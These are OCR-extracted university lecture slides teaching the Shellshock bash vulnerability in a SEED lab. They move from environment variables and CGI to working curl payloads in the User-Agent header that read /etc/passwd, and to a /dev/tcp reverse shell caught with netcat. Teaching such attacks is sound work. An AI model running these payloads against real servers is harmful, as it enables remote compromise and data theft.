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Spring 2023

https://www.cs.montana.edu/pearsall/classes/spring2023/476/main.html *all images are stolen from the internet
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Announcements

Lab 1 (Set-UID) due on Sunday 2/12
Lab 2 (Shellshock) due on Sunday 2/19

Friday’s class will be optional
* Help session for lab 1
 If you don’t need help, there is no need to come to class ©




Recap

seed@VM: ~

[02/08/23]seed@VM:~$ whoami

seed H
[02/08/23]seed@VM:~$ 1s termlnal
bash_shellshock Downloads hash_lab 1lab4 private.pem Templates

cs5ci476-code encyption_lecture 1lab@ Music Public Videos (parent proceSS)
|Pesktop example lab2 os-review Share worm.js

|Documents example.c lab3 Pictures shared

[02/08/23]seed@VM:~$ |

A process Is an instance of a program running on a computer

MONTANA
STATE UNIVERSITY



Recap

Environment variables are a set
of key-value pairs that can control
the behavior of a process

D
2 Each process has a set of
% environment variables
terminal g
(parent process) S
: varisblename —vae
% PATH /usr/local/bin
7 USER seed
PWD /home/seed/my folder
SHELL /bin/bash

MONTANA
STATE UNIVERSITY



Recap

Environment variables are a set
of key-value pairs that can control
the behavior of a process

D
2 Each process has a set of
§ environment variables
terminal g
(parent process) S
: varisblename —vae
% PATH /usr/local/bin
7 USER seed
PWD /home/seed/my folder
SHELL /bin/bash

Where to look for programs when absolute path is not provided? /usr/local/bin
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Recap

Environment variables are a set
of key-value pairs that can control
the behavior of a process

D
2 Each process has a set of
§ environment variables
terminal g
(parent process) S
2 varablename v
% PATH /usr/local/bin
7 USER seed
PWD /home/seed/my folder
SHELL /bin/bash
foo “my new variable!”
We can define our own environment variables! export foo="my new variable!”
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In Linux, all new processes are forked() from an existing process

QJrK()

./my_program
/bin/sh
/bin/bash
(child process)

terminal
(parent process)

Sa|qeLeA JUsWUOoJIAUD
Sa|qeLeA JUSWUOoJIAUD
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In Linux, all new processes are forked() from an existing process

QarK()

./my_program
/bin/sh
/bin/bash
(child process)

terminal
(parent process)

Sa|qeLeA JUsWUOoJIAUD
Sa|qeLeA JUSWUOoJIAUD

When a new process gets spawned, it will inherit environment variables from its parent**
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In Linux, all new processes are forked() from an existing process

If we are in a shell, we can
also define Shell functions

foo() { echo “hello world”; }

terminal

(parent process)

If we export this function, the shell
function will also get passed onto
future children of the parent

Sa|qeLeA JUsWUOoJIAUD
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In Linux, all new processes are forked() from an existing process

D
> . . . .
= We can also define shell functions as environment variables
=
=
terminal S foo='() { echo “hello world”; 1}’
(parent process) § \ | J
= Y Y
= name value
(0)]
foo
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terminal /bin/bash

(child process)

(parent process)

Sa|qeLeA JUSWUOoJIAUD
Sa|qeLeA JUsWUOoJIAUD

If we spawn /bin/bash as a child
process, a special thing happens
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1. Environment variables
are inherited from the
parent*

2. Bash will search
through the env.
variables for shell
functions

terminal /bin/bash

(child process)

(parent process)

Sa|qeLeA JUSWUOoJIAUD
Sa|qeLeA JUsWUOoJIAUD

If we spawn /bin/bash as a child
process, a special thing happens
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1. Environment variables
are inherited from the
parent*

2. Bash will search
through the env.
variables for shell
functions

/bin/bash
(child

terminal
(parent
process)

process)

Sa|geleA JUSWUOoIAUD
Sa|geLeA JUsWUoJIAUD

variable name

PATH /usr/local/bin

USER seed

PWD /home/seed/my folder
SHELL /bin/bash

foo () { echo “hello world”; }
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1. Environment variables

)
. -

o @ are inherited from the
>
< = parent*
o 2 :
terminal g /bin/bash ('BD 2. BaSh W|” SeaI‘Ch
(parent % (child = through the env.
< .
B R © variables for shell
) & functions
o) (q)
N (0)]
variable name
PATH /usr/local/bin (In a vulnerable version of bash)
USER seed It looks at the first 4 characters for a
PWD /home/seed/my folder valid function definition
SHELL /bin/bash

foo () { echo “hello world”; } “ é
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foo="() { echo “hello world”; }; echo “extra’”’

myprogram.c

/bin/bash

myprog

SS|BLEA JUSLWIUOJIAUS

1
-
=
=
o
=
=]
0]
-
=1
<
i ]
=
[
=3
o
w

PATH /usr/local/bin

USER seed

PWD /home/seed/my folder

SHELL /bin/bash

foo () { echo “hello world”; }; echo “extra”;
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foo='() { echo “hello world”; }; echo “extra”’

variablename _|valee

PATH /usr/local/bin

USER seed

PWD /home/seed/my folder

SHELL /bin/bash

foo () { echo “hello world”; }; echo “extra”;
- )

Bash recognizes this as a valid function definition, and begins to parse the string
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foo='() { echo “hello world”; },; echo “extra”’

1
=]
=
o
=
=]
1]
=1
=
o
=
=3




foo='() { echo “hello world”; }; echo “extra”’

//HHF_FErKIJ

5

-

terminal

/bin/bash

3 4=
= i)
= 5
=" =
=] —
= =]
= | =5
2 3
= 5
= —_—
2 =
) =
=3 ]

o
& [
[%¢]




foo='() { echo “hello world”; }; echo “extra”’

w }__ sy

S echo

bash_shellshﬂck now hi

/ Fn rkf 3 x parses the env. variables for  ECEENEEI T BETsYolol s
any shell functions

H B ]

terminal

/bin/bash

1.
=}
=
g
=}
3
o
=
=
=
u7]
=
=3
i
w

sa|geU A JUSLLLOIAUD

>
]
]

,'

-
TSy ame s B s 8 W W Em Y




bash_shellshock now

/ -pa rk() x parses the env. variables for
any shell functions

- 2]

- . e

terminal

/bin/bash

Sa[gEEA JUSLLILID.IAUS
Sa|geLEA JUSLILIOAUS

:
“\‘

.-
-'-l--l-.‘- - e g w¥

>
L]
'l

Sets as a shell function Executes this

 —————

foo='() { echo “hello world”; }; echo “extra”’




The shellshock vulnerability is a bug in the code
when converting environment variables to function
definitions, which allows for an attacker to execute
arbitrary code

Two conditions are needed to exploit the vulnerability

* The target process must run a vulnerable version of bash
* The target process gets untrusted user input via &
environment variables

Execute a bash shell Trigger flawed parsing logic Shellshock

Env variables containing
function definitions
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We will be attacking a web server that Is

running a vulnerable version of bash
* www.seedlab-shellshock.com

How does a web server accept new
environment variables?

How do we send our malicious
payload?
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| l;-v@=<

Internet |

The Internet
(Part 1)




On the internet, we often communicate in a client server architecture

Client Server (victim)

Request

v

A

> Backend
Program

“Give me this picture located at this URL”
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On the internet, we often communicate in a client server architecture

Client Server (victim)

A

> Backend
Program

s L _ ! This needs to translated into a protocol
Give me this picture located at this URL that a computer can understand

Hosts on the internet must communicate with each other
through various internet protocols
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Client Server (victim)

HTTP
Request

> Backend
Program

HTTP is the common protocol for When we want to get

transmitting internet content something from a server, we
Issue an HTTP Request
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Client Server (victim) HTTP Request have a specific format

Request

e

HTTP

Headers

Request

Body

When we want to get
something from a server, we
Issue an HTTP Request
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Client Server (victim) HTTP Request have a specific format

Request

e

HTTP

Headers

Request

Body

y

The Request section contains
« The HTTP Method (GET,
POST, DELETE)

When we want to get - The URL

something from a server, we

issue an HTTP Request R
GET http://mwww.seedlab-shellshock.com/cgi-bin/vul.cgi
GET http://www.cs.montana.edu/pearsall/dog.jpg
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Client Server (victim) HTTP Request have a specific format

Request
/////, \\\\\\* Headers

HTTP
Request

Body

The Headers section contains
Information about they request
(key value pairs)

When we want to get

1.Accept-Ranges: bytes

something from a server, we S Comemt gt 055
Issue an HTTP Request ;Zg‘;::f?;ﬂng;;e;tgfzczsslsz32:12GMT

6.ETag: "bcf-5ca420b781ee2"
7.Keep-Alive: timeout=5, max=100
8.Last-Modified: Mon, 23 Aug 2021 23:04:52 GMT

9.Server: Apache

I We can add whatever headers we want to an HTTP request
MONTANA
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HTTP Request

Client Server (victim) Request

Headers

Body

Call CGl to
process request

»

CGl

Send response Application
back to server

A

10.9.0.80
(www.seedlab-shellshock.com)

Common Gateway Interface (CGl) server is where we
have a server middleman that creates external programs
to handle requests
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HTTP Request

Client Server (victim) Request

Headers

Body

Call CGl to
process request

»

CGl

Send response Application
back to server

A

10.9.0.80
(www.seedlab-shellshock.com)

After the server fetches the content, its sends it back to the user
as an HTTP Response
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HTTP Request

Client Server (victim) Request

Headers

Body

Call CGl to
process request

»

CGl

Send response Application
back to server

A

10.9.0.80
(www.seedlab-shellshock.com)

After the server fetches the content, its sends it back to the user
as an HTTP Response
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Viewing HTTP Requests/Response with Chrome Developer Tools

¢ = L : . 5 .
M MONTANA [w ﬂ Elements Console Sources MNetwork Performance Memaory Application Security Lighthouse Recorder & |1 e
STATE UNIVERSITY

® ©® ¥ Q | OPreservelog [ Disable cache Nothrottling ¥ Tu | £ #

Site Menu v Filter (O invert (J Hide data URLs All = Fetch/XHR JS CSS Img Media Font Doc WS Wasm Manifest Other [ Has blocked cookies

(J Blocked Requests ([ 3rd-party requests

CompUter Science FaCUIty Direm:ory I 500 ms 1000 ms 1500 ms 2000 ms 2500 ms 3000 ms 3500 ms 4000 ms 4500 ms 5000 ms 5500 ms 6000
Faculty Directory T

Name Status Type Initiator Size Time Waterfall

s ?h=https%3A%2F%2Fwww.cs.montana.edup="%2Fdi... | 200 gif scriptjs:1 4288 265ms | |W

Dr' M aryann CU mmi ng§ [ www.cs.montana.edujson?t=1 200 xhr 4827 js:1 68 B 57 ms I
Assistant Teaching Professor [+ 2e2da7d3b3b2d712690eb567 15041237 js 200 script 4827.js:1 (disk cache) 1ms |l
Modeling and sim, System of Systems, Emergent Behavior [ www.cs.montana.edujson?t=465523 200 xhr 2e2daid...js:2 44B stms| |I

[ blob:https://www.cs.montana.edu/eSbdd510-b57b-4a... 200 text/javascript {index) 0B 1ms ||
@ Norm Asbjornson Hall 253C B imagel5jpg 200 jpeg Jjguery.minjs:5 1118 278 ms
. (406) 994-3547 & imagel5.png 200 png jquery.minjs:5 75B 300 ms
Email B image15.jpg 200 Jjpeg Jguery.min,js:5 76 B 294 ms

B imagel5.pg 200 jpeg Jguery.minjs:5 788 294 ms

B imagel5jpg 200 jpeg Jguery.minjs:5 76 B 293 ms

& imagel5,jpeg 200 jpeg jguery.min,js:5 378 298 ms
Mr. Daniel DeFrance B image15png 200 png jquery.minjs:3 758 290 ms
Instructor B imagel5jpg 200 jpeg Jjqueny.min,js:5 76 B 293 ms
Admin for the CSCI 481 Program Assessment B image15ipg 200 Jpeg Jquery.minjs:3 708 282 ms

B imagel5jpg 200 jpeg Jguery.min,js:5 76 B 292 ms
Q@ Barnard Hall 358 A imagel5jpg 200 jpeg Jouery.min.js:5 76 B 289 ms
X, (406) 994-1628 H image15.png 200 png Jguery.minjs:5 758 284 ms
Email 52 requests | 34.9 kB transferred | 6.5 MB resources = Finish: 5.18 s = DOMContentLoaded: 108 ms = Load: 709 ms

:  Console  What's New X

Highlights from the Chrome 109 update

Professor Brittany Fasy _ Drmmvddnr mmimal +im At O e T, "
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Take Home Message:
« Web servers gquite often need to run other
programs to respond to a request.

Web Browser

 It's common to translate request
parameters into environment variables HTTP l T HTTP

Request

Database

Response Query Results

. . Cal G
» Environment variables are then passed Server TS

<€

CGIl Program

onto a child process (such as bash), to do
the actual work

The most important part: a web server will translate HTTP
request header fields into environment variables

35



The Gameplan

1. Send an HTTP Request to the victim server that contains our
shellshock payload in the HTTP Header fields

Request

Headers #%

Body

MONTANA
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The Gameplan

1. Send an HTTP Request to the victim server that contains our
shellshock payload in the HTTP Header fields

2. The web server will fork() and create a bash shell that will
handle our request

Request

Headers #%

Body

CGl
Application
(bash)

MONTANA
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The Gameplan

1. Send an HTTP Request to the victim server that contains our
shellshock payload in the HTTP Header fields
2. The web server will fork() and create a bash shell that will

handle our request
3. The new bash process begins to parse our HTTP header
fields for environment varaibles

Request

Headers #%

Body

Cal
Application
(bash)

MONTANA
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The Gameplan

1. Send an HTTP Request to the victim server that contains our
shellshock payload in the HTTP Header fields
2. The web server will fork() and create a bash shell that will
handle our request
3. The new bash process begins to parse our HTTP header SHELLSHOCK!
fields for environment varaibles The server will run our commands

Request

Headers #%

Body

Cal
Application
(bash)

MONTANA
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How do we send HTTP requests?

We use curl to send http request to the vulnerable server

curl -v www.seedlab-shellshock.com/cgi-bin/getenv.cgi

This will print Verbose information about the header of the HTTP request/response

[02/07/23]seed@VM:~/.../02_shellshock$ curl -v www.seedlab-shellshock.com/cgi-bin/getenv.cgi
¢*  Trying 10.9.0.80:80...

2% TCP_NODELAY set

¢ Connected to www.seedlab-shellshock.com (10.9.0.80) port 80 (#0)

> GET /cgi-bin/getenv.cgi HTTP/1.1

¢> Host: www.seedlab-shellshock.com

[ heer e curt/To getenv.cgi IS a script we

>

. o A " SwpOrting mLtic can hit that will print out the

< Date: Wed, 08 Feb 2023 19:45:08 GMT
< Server: Apache/2.4.41 (Ubuntu)

e e T e CGl process’s environment

J< Content-Type: text/plain
<

[*** ENVIRONMENT VARIABLES*** Varlables
HTTP_HOST=www.seedlab-shellshock.com

HTTP_USER AGENT=curl/7.68.0

40
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curl

curl -A “my data” -v www.seedlab-shellshock.com/cgi-bin/getenv.cgi

—A  can be used to set specific fields in the HTTP request header

[02/08/23]seed@VM:~/.../02 shellshock$ curl -A "THIS IS A TEST" www.seedlab-shellshock.com/cgi-bin/getenv.cgi




curl

curl -A “my data” -v www.seedlab-shellshock.com/cgi-bin/getenv.cgi

—A  can be used to set specific fields in the HTTP request header

[02/08/23]seed@VM:~/.../02 shellshock$ curl -A "THIS IS A TEST" www.seedlab-shellshock.com/cgi-bin/getenv.cgi

*** ENVIRONMENT VARIABLES***
HTTP HOST=www.seedlab-shellshock.com
HTTP USER AGENT=THIS IS A TEST

HTTP ACCEPT=*/*
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
SERVER SIGNATURE=<address>Apache/2.4.41 (Ubuntu) Server at www.seedlab-shellshock.com Port 80</address>

Our information that we passed with the —A flag eventually got
converted into an environment variable!!!
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Our first shellshock

This server is running a vulnerable version of bash

This server gets untrusted user input for environment variables

Let’s first try to get the server to print out some basic message

MONTANA
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Our first shellshock

Let’s first try to get the server to print out some basic message

http://www.seedlab-shellshock.com/cgi-bin/vul.cgi
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Our first shellshock

Let’s first try to get the server to print out some basic message

curl -A "() { 27?7 }; " http://www.seedlab-shellshock.com/cgi-bin/vul.cgi
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Our first shellshock

Let’s first try to get the server to print out some basic message

" [URL]

{ echo :;}; echo ‘this server 1s sus’;

curl —-A " ()
\ } Y

Malicious command to be executed

Bogus Shell function

[URL] = http://www.seedlab-shellshock.com/cgi-bin/vul.cgi

[02/08/23]seed@UM:~/.../02:she115h0ck$ curl -A "() { echo :; }; echo '';echo 'this server is sus"'" http://www.seedlab-shellshock.&om/cgi-bin/Qul.cgi
this server is sus<¢— CE—

Content-Type: text/plain

Hello World

* We also must add another echo statement beforehand (??)

N o




Our first shellshock

Let’s first try to get the server to print out some basic message

" [URL]

{ echo :;}; echo ‘this server 1s sus’;

curl —-A " ()
\ } Y

Malicious command to be executed

Bogus Shell function

[URL] = http://www.seedlab-shellshock.com/cgi-bin/vul.cgi

[02/08/23]seed@UM:~/.../02:she115h0ck$ curl -A "() { echo :; }; echo '';echo 'this server is sus"'" http://www.seedlab-shellshock.&om/cgi-bin/Qul.cgi
this server is sus<¢— CE—

Content-Type: text/plain

Hello World

* We also must add another echo statement beforehand (??)
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Our first shellshock

URL of victim server
Bogus shell function

L l—‘—\

curl -A"() { echo :; }; echo ; echo'EVILLLLLLLL’ " http://www.seedlab-shellshock.com/cgi-bin/vul.cgi

l_'_l

Command to be executed

Set the user-agent field
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Our first shellshock Print out contents of a file we shouldn’t see?

[URL] = http://www.seedlab-shellshock.com/cgi-bin/vul.cgi
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Our first shellshock Print out contents of a file we shouldn’t see?

LA 4 4

-A " () { echo :;}; echo; /bin/cat /etc/passwd” [URL]

curl

[URL] = http://www.seedlab-shellshock.com/cgi-bin/vul.cgi

I We must provide the absolute path of things such as cat, 1s, touch etc

[02/58/23]seed@VM:~/.../02_shellshock$ curl -A "() { echo :; }; echo; /bin/cat /etc/passwd" http://www.seedlab-shellshock.com/cgi-bin/vul.cgi

root:x:0:0:root:/root:/bin/bash

daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin \////’
sys:Xx:3:3:sys:/dev:/usr/sbin/nologin
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Our first shellshock Print out contents of a file we shouldn’t see?

curl —-A "() { echo :;}; echo; /bin/cat /etc/shadow” [URL]

[URL] = http://www.seedlab-shellshock.com/cgi-bin/vul.cgi

What about /etc/shadow ??

[02/08/23]seed@M:~/.../02 shellshock$ curl -A "() { echo :; }; echo; /bin/cat /etc/shadow" http://www.seedlab-shellshock.com/cgi-bin/vul.cgi
[02/08/23]seed@M:~/.../02_shellshock$ |  ,

This one does not work ® ..... Why?
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Our first shellshock

|deally, we want to get control of this webserver. Maybe we can get a root shell?

curl -A " () { echo :;}; echo; /bin/sh” [URL]

[URL] = http://www.seedlab-shellshock.com/cgi-bin/vul.cgi
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Our first shellshock

|deally, we want to get control of this webserver. Maybe we can get a root shell?

curl —-A "() { echo :;}; echo; /bin/sh” [URL]

[URL] = http://www.seedlab-shellshock.com/cgi-bin/vul.cgi

[02/08/23]seed@VM:~/.../02_shellshock$ curl -A "() { echo :; }; echo; /bin/sh" http://www.seedlab-shellshock.com/cgi-bin/vul.cgi
[02/08/23]seed@VM:~/.../02_shellshock$ I

Does not work...... or does it?

-

But we cannot control it. Shells are an interactive program!
®

N =

A shell gets created on the web server
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Our first shellshock

|deally, we want to get control of this webserver. Maybe we can get a root shell?

curl —-A "() { echo :;}; echo; /bin/sh” [URL]

[URL] = http://www.seedlab-shellshock.com/cgi-bin/vul.cgi

[02/08/23]seed@VM:~/.../02_shellshock$ curl -A "() { echo :; }; echo; /bin/sh" http://www.seedlab-shellshock.com/cgi-bin/vul.cgi

Does not work...... or does it?

[02/08/23]seed@VM:~/.../02_shellshock$ |

We want to send input to the shell running on the web server

And we want to receive output from the shell back on our machine
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Reverse Shell

A reverse shell is a shell, but it redirects stdin, stdout,
stderr back to our machine

« redirects input to a network connection
\) —

/bin/bash

Bash is now listening for
input on a network
connection
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Reverse Shell

A reverse shell is a shell, but it redirects stdin, stdout,
stderr back to our machine

redirects input to a network connection
—

/

0\,
¥ /bin/bash

Bash is now listening for
input on a network
connection

redirects output to a network connection
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Reverse Shell

A reverse shell is a shell, but it redirects stdin, stdout,
stderr back to our machine

1ls -al

redirects input to a network connection inp,
—

Q}
¥ /bin/bash

Bash is now listening for
input on a network
connection

redirects output to a network connection
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Reverse Shell A reverse shell is a shell, but it redirects stdin, stdout, stderr back to our machine

Attacker terminal #1: Use netcat to run a simple server so we can receive output from hijacked server

[09/27/22] seed@VM:~$ nc -1lnv 9090
S nc —1lnc 9090 Listening on 0.0.0.0 9090

Netcat is listening on
port 80




Reverse Shell A reverse shell is a shell, but it redirects stdin, stdout, stderr back to our machine

Attacker terminal #1: Use netcat to run a simple server so we can receive output from hijacked server

99/2?/22]5eed@vﬂ ~$ nc -lnv 9090
S nc —1lnc 9090 Llstenlng on 0.0.0.0 9090

Attacker terminal #2: Craft a payload that creates a reverse shell (back to attacker terminal 1)

$ /bin/bash -i > /dev/tcp/ATTACKER IP/ATTACKER PORT 0<&l 2>&l
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Reverse Shell A reverse shell is a shell, but it redirects stdin, stdout, stderr back to our machine

Attacker terminal #1: Use netcat to run a simple server so we can receive output from hijacked server

99/2?/22]5eed@vﬂ ~$ nc -lnv 9090
S nc —1lnc 9090 Llstenlng on 0.0.0.0 9090

Attacker terminal #2: Craft a payload that creates a reverse shell (back to attacker terminal 1)

$ /bin/bash -i > /dev/tcp/ATTACKER IP/ATTACKER PORT 0<&l 2>&l
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Reverse Shell A reverse shell is a shell, but it redirects stdin, stdout, stderr back to our machine

Attacker terminal #1: Use netcat to run a simple server so we can receive output from hijacked server

[09/27/22] seed@VM:~$ nc -1lnv 9090
S nc —1lnc 9090 Listening on 0.0.0.0 9090

Attacker terminal #2: Craft a payload that creates a reverse shell (back to attacker terminal 1)

> [/dev/tcp/ ATTACKER IP / ATTACKER PORT

start an interactive bash shell on the server
Whose input (stdin) comes from a TCP connection,
And whose output ( and ) goes to the same TCP

connection
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Reverse Shell A reverse shell is a shell, but it redirects stdin, stdout, stderr back to our machine

> [/dev/tcp/ ATTACKER IP / ATTACKER PORT

The IP and port of our netcat server

[09/27/22]5eed;VM:~/.../02_shellshocks curl -A "() { :; }; /bin/bash -i >/dev/tcp/10.9.0.1/9090 0<&1 2>&1" http://www.seedlab-shellshock.com/cgi-bin/vul.cgi

(Other attacker terminal)

[09/27/22] seed@VM:~$ netcat -lnv 9690
Listening on 8.0.08.0 9090
Connection received on 10.9.0.80 49624

bash:
bash:

cannot set terminal process group (31): Inappropriate ioctl for device
no job control in this shell

www-data@bbdlebde3315: fusr/1ib/cgi-bing I

www-data@ébdlﬁﬁde3315:/u5r/lib/cgi-bin$ whoami
whoami
www-data

www-data@bbdl66de3315: /usr/lib/cgi-bin$

We have a shell!
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